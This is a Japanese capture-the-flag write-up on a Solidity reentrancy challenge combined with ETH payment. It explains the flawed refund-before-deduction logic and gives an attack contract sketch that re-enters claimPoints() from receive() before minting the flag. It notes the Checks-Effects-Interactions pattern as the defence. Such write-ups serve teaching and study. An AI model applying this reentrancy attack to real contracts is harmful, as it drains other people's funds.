Appearance
S2C4: Reentrancy + Payment
1. 問題
コントラクトは以下の条件を要求します:(1)呼び出し元が一定量の ETH を支払うこと(2)flag を mint するために特定のポイント/レベル条件を満たすこと。コントラクトは返金に call{value: ...} を使用しています。
2. 原因
S1C5 と同様に、コントラクトはポイント減算の前に外部呼び出し(ETH 転送)を行っており、リエントランシー脆弱性を引き起こしています。ただし今回は事前に ETH を預け入れる必要もあります。
3. 解法
- 攻撃コントラクトに事前に十分な ETH を転送します
- 攻撃コントラクトがチャレンジコントラクトの支払い関数を呼び出します
receive()コールバック内で重要な関数に再入します- 条件を満たした後、
mintFlagを呼び出します
solidity
contract S2C4Solution {
constructor(address challenge) payable {
// ETH を事前に預け入れます
challenge.call{value: requiredEth}("");
}
function solve() external {
challenge.claimPoints(); // リエントランシーをトリガーします
challenge.upgradeLevel();
challenge.mintFlag();
}
receive() external payable {
if (counter < TARGET) {
counter++;
challenge.claimPoints();
}
}
}
4. 遭遇した落とし穴
ETH 残高管理: 攻撃コントラクトは事前に十分な ETH を預け入れる必要があり、リエントランシー中に十分な gas を確保する必要があります。
5. 落とし穴の原因
コントラクトは call{value: amount}("") を使用して ETH を送信し、これにより受信者の receive() 関数がトリガーされます。返金額が不足している場合、後続のロジックが誤動作する可能性があります。
6. 解決方法
攻撃コントラクトのデプロイ時に十分な ETH を付与します(--value フラグを使用するか、コンストラクタで payable にします)。
7. 技術的ポイント
| ポイント | 説明 |
|---|---|
| リエントランシー + ETH 支払い | 複合攻撃:資金とリエントランシーロジックを同時に処理する必要があります |
| payable コンストラクタ | デプロイ時に攻撃コントラクトに ETH を事前に預け入れます |
| CEI パターン | Checks-Effects-Interactions はこのような攻撃を防ぐことができます |